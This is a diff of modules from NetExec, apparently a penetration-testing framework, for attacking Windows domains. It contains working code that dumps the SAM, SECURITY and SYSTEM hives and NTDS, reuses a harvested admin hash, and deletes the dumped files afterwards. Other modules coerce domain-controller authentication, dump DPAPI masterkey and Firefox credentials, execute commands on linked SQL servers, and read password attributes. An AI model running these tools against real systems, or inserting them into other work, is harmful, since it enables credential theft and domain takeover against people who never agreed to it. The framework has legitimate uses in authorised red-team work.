ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(str(e))
finally:
dce.disconnect()
# copy remote file to local
log_path = os.path.expanduser(f"{NXC_PATH}/logs/{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.".replace(":", "-"))
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
for hive in ["SAM", "SECURITY", "SYSTEM"]:
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
def trigger_winreg(self, connection, context):
# Original idea from https://twitter.com/splinter_code/status/1715876413474025704
# Basically triggers the RemoteRegistry to start without admin privs
tid = connection.connectTree("IPC$")
try:
connection.openFile(
tid,
r"\winreg",
0x12019F,
creationOption=0x40,
fileAttributes=0x80,
)
except SessionError as e:
# STATUS_PIPE_NOT_AVAILABLE error is expected
context.log.debug(str(e))
# Give remote registry time to start
time.sleep(1)
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
key_name.split("\\")[0]
sub_key = "\\".join(key_name.split("\\")[1:])
ans = rrp.hOpenLocalMachine(dce)
h_root_key = ans["phKey"]
return h_root_key, sub_key
-131
View File
@@ -1,131 +0,0 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {0: "None", 1: "AES_256_WITH_DIFFUSER", 2: "AES_256_WITH_DIFFUSER", 3: "AES_128", 4: "AES_256", 5: "HARDWARE_ENCRYPTION", 6: "XTS_AES_128", 7: "XTS_AES_256"}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
File diff suppressed because it is too large. Load diff
+3 -3
View File
@@ -274,8 +274,8 @@ class NXCModule:
self.context = context
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
self.baseDN = connection.ldap_connection._baseDN
self.ldap_session = connection.ldap_connection
self.baseDN = connection.ldapConnection._baseDN
self.ldap_session = connection.ldapConnection
# Searching for the principal SID
if self.principal_sAMAccountName is not None:
@@ -373,7 +373,7 @@ class NXCModule:
if self.target_DN is not None:
_lookedup_principal = self.target_DN
target = self.ldap_session.search(
searchBase=_lookedup_principal,
searchBase=self.baseDN,
searchFilter=f"(distinguishedName={_lookedup_principal})",
attributes=["nTSecurityDescriptor"],
searchControls=controls,
+125 -2
View File
@@ -1,6 +1,15 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
class NXCModule:
name = "dfscoerce"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -17,4 +26,118 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host,
doKerberos=connection.kerberos,
kdcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
rpctransport.setRemoteHost(target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost)
dce = rpctransport.get_dce_rpc()
if doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
-63
View File
@@ -1,63 +0,0 @@
from dploot.lib.target import Target
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+4 -22
View File
@@ -84,7 +84,10 @@ class NXCModule:
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
context.log.fail(str(e))
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
def dump_results(self, results, context):
if not results:
@@ -355,27 +358,6 @@ conf = {
{"name": "sophoslivequery_*", "processes": [""]}
]
},
{
"name": "Trellix Endpoint Detection and Response (EDR)",
"services": [
{"name": "McAfee Endpoint Security Platform Service", "description": "Trellix Core Service"},
{"name": "mfemactl", "description": "Trellix Management Service"},
{"name": "mfemms", "description": "McAfee Management Service"},
{"name": "mfefire", "description": "Trellix Firewall Core Service"},
{"name": "masvc", "description": "Trellix Agent Service"},
{"name": "macmnsvc", "description": "Trellix Agent Common Service"},
{"name": "mfetp", "description": "Trellix Endpoint Threat Prevention Service"},
{"name": "mfewc", "description": "Trellix Endpoint Security Web Control Service"},
{"name": "mfeaack", "description": "Trellix Anti-Malware Core Service"}
],
"pipes": [
{"name": "TrellixEDR_Pipe_*", "processes": ["McAfeeEDR.exe"]},
{"name": "mfemactl_*", "processes": ["mfemactl.exe"]},
{"name": "mfefire_*", "processes": ["mfefire.exe"]},
{"name": "McAfeeAgent_Pipe_*", "processes": ["McAfeeAgent.exe"]},
{"name": "mfetp_*", "processes": ["mfetp.exe"]}
]
},
{
"name": "Trend Micro Endpoint Security",
"services": [
-46
View File
@@ -1,46 +0,0 @@
class NXCModule:
"""
Enumerate SQL Server users with impersonation rights
Module by deathflamingo
"""
name = "enum_impersonate"
description = "Enumerate users with impersonation privileges"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
impersonate_users = self.get_impersonate_users()
if impersonate_users:
self.context.log.success("Users with impersonation rights:")
for user in impersonate_users:
self.context.log.display(f" - {user}")
else:
self.context.log.fail("No users with impersonation rights found.")
def get_impersonate_users(self) -> list:
"""
Fetches a list of users with impersonation rights.
Returns
-------
list: List of user names.
"""
query = """
SELECT DISTINCT b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name LIKE 'IMPERSONATE%'
"""
res = self.mssql_conn.sql_query(query)
return [user["name"] for user in res] if res else []
def options(self, context, module_options):
pass
-53
View File
@@ -1,53 +0,0 @@
class NXCModule:
"""
Enumerate SQL Server linked servers
Module by deathflamingo, NeffIsBack
"""
name = "enum_links"
description = "Enumerate linked SQL Servers and their login configurations."
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def options(self, context, module_options):
pass
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
linked_servers = self.get_linked_servers()
if linked_servers:
self.context.log.success("Linked servers found:")
for server in linked_servers:
self.context.log.display(f" - {server}")
else:
self.context.log.fail("No linked servers found.")
def on_admin_login(self, context, connection):
res = self.mssql_conn.sql_query("EXEC sp_helplinkedsrvlogin")
srvs = [srv for srv in res if srv["Local Login"] != "NULL"]
if not srvs:
self.context.log.fail("No linked servers found.")
return
self.context.log.success("Linked servers found:")
for srv in srvs:
self.context.log.display(f"Linked server: {srv['Linked Server']}")
self.context.log.display(f" - Local login: {srv['Local Login']}")
self.context.log.display(f" - Remote login: {srv['Remote Login']}")
def get_linked_servers(self) -> list:
"""
Fetches a list of linked servers.
Returns
-------
list: List of linked server names.
"""
query = "EXEC sp_linkedservers;"
res = self.mssql_conn.sql_query(query)
return [server["SRV_NAME"] for server in res] if res else []
-40
View File
@@ -1,40 +0,0 @@
class NXCModule:
"""
Enumerate SQL Server logins
Module by deathflamingo
"""
name = "enum_logins"
description = "Enumerate SQL Server logins"
supported_protocols = ["mssql"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.mssql_conn = None
self.context = None
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
logins = self.get_logins()
if logins:
self.context.log.success("Logins found:")
for login in logins:
self.context.log.display(f" - {login}")
else:
self.context.log.fail("No logins found.")
def get_logins(self) -> list:
"""
Fetches a list of SQL Server logins.
Returns
-------
list: List of login names.
"""
query = "SELECT name FROM sys.server_principals WHERE type_desc = 'SQL_LOGIN';"
res = self.mssql_conn.sql_query(query)
return [login["name"] for login in res] if res else []
def options(self, context, module_options):
pass
+1 -1
View File
@@ -21,7 +21,7 @@ class NXCModule:
attributes = ["flatName", "trustPartner", "trustDirection", "trustAttributes"]
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=attributes, sizeLimit=0)
trusts = []
context.log.debug(f"Total of records returned {len(resp)}")
-42
View File
@@ -1,42 +0,0 @@
class NXCModule:
"""
Execute commands on linked servers
Module by deathflamingo
"""
name = "exec_on_link"
description = "Execute commands on a SQL Server linked server"
supported_protocols = ["mssql"]
opsec_safe = False
multiple_hosts = False
def __init__(self):
self.mssql_conn = None
self.context = None
self.linked_server = None
self.command = None
def options(self, context, module_options):
"""
LINKED_SERVER: The name of the linked server to execute the command on.
COMMAND: The command to execute on the linked server.
"""
if "LINKED_SERVER" in module_options:
self.linked_server = module_options["LINKED_SERVER"]
if "COMMAND" in module_options:
self.command = module_options["COMMAND"]
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if not self.linked_server or not self.command:
self.context.log.fail("Please specify both LINKED_SERVER and COMMAND options.")
return
self.execute_on_link()
def execute_on_link(self):
"""Executes the specified command on the linked server."""
query = f"EXEC ('{self.command}') AT [{self.linked_server}];"
result = self.mssql_conn.sql_query(query)
self.context.log.display(f"Command output: {result}")
+1 -1
View File
@@ -39,7 +39,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={search_filter}")
resp = connection.ldap_connection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=search_filter, attributes=["dNSHostName", "operatingSystem"], sizeLimit=0)
except LDAPSearchError as e:
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
+15 -29
View File
@@ -1,5 +1,5 @@
from dploot.lib.target import Target
from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
from nxc.protocols.smb.firefox import FirefoxTriage
class NXCModule:
@@ -10,24 +10,16 @@ class NXCModule:
"""
name = "firefox"
description = "[REMOVED] Dump credentials from Firefox"
description = "Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
[REMOVED] use the --dpapi flag instead of the module firefox.
COOKIES Get also Firefox cookies
"""
self.gather_cookies = "COOKIES" in module_options
"""Dump credentials from Firefox"""
def on_admin_login(self, context, connection):
context.log.fail("[REMOVED] Use the --dpapi flag instead of the module firefox.")
return
host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
host = connection.hostname + "." + connection.domain
domain = connection.domain
username = connection.username
kerberos = connection.kerberos
@@ -49,25 +41,19 @@ class NXCModule:
use_kcache=use_kcache,
)
def firefox_callback(secret):
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}")
context.db.add_dpapi_secrets(
target.address,
"FIREFOX",
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback)
firefox_triage = FirefoxTriage(target=target, logger=context.log)
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_triage.run(gather_cookies=self.gather_cookies)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight(
"[{}][FIREFOX] {} {}:{}".format(
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
except Exception as e:
context.log.debug(f"Error while looting firefox: {e}")
+20 -6
View File
@@ -1,7 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import re
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -40,7 +40,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
@@ -55,10 +55,24 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
resp_parsed = parse_result_attributes(resp)
answers = [[x["sAMAccountName"], x.get("description")] for x in resp_parsed if x.get("description")]
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
description = ""
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success("Found following users: ")
@@ -94,5 +108,5 @@ class NXCModule:
answersFiltered.append([answer[0], description])
elif (self.FILTER != "" and conditionFilter) and (conditionPasswordPolicy == self.PASSWORDPOLICY):
context.log.highlight(f"'{self.FILTER}' found in user: '{answer[0]}' description: '{description}'")
return answersFiltered
+1 -1
View File
@@ -121,7 +121,7 @@ class NXCModule:
sfilter = "(DC=*)"
try:
list_sites = connection.ldap_connection.search(
list_sites = connection.ldapConnection.search(
searchBase=search_target,
searchFilter=sfilter,
attributes=["dnsRecord", "dNSTombstoned", "name"],
+24 -7
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -20,11 +20,11 @@ class NXCModule:
"""
def on_login(self, context, connection):
searchFilter = "(unixUserPassword=*)"
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
@@ -37,10 +37,27 @@ class NXCModule:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
unixUserPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "unixUserPassword":
unixUserPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(unixUserPassword) > 0:
answers.append([sAMAccountName, unixUserPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
for answer in answers:
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
else:
context.log.fail("No unixUserPassword Found")
+25 -8
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -20,11 +20,11 @@ class NXCModule:
"""
def on_login(self, context, connection):
searchFilter = "(userPassword=*)"
searchFilter = "(objectclass=user)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
@@ -37,10 +37,27 @@ class NXCModule:
nxc_logger.debug(e)
return False
if resp:
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userPassword":
userPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(userPassword) > 0:
answers.append([sAMAccountName, userPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
context.log.success("Found following users: ")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['userPassword']}")
for answer in answers:
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
else:
context.log.fail("No unixUserPassword Found")
context.log.fail("No userPassword Found")
+3 -8
View File
@@ -11,7 +11,7 @@ class NXCModule:
"""
name = "group-mem"
description = "[REMOVED] Retrieves all the members within a Group"
description = "Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
@@ -19,9 +19,7 @@ class NXCModule:
answers = []
def options(self, context, module_options):
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
"""
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -36,9 +34,6 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.logger.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
@@ -73,7 +68,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+1 -1
View File
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldap_connection.search(
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+11 -19
View File
@@ -5,9 +5,9 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
from pypykatz.pypykatz import pypykatz
import pypykatz
class NXCModule:
@@ -34,8 +34,6 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
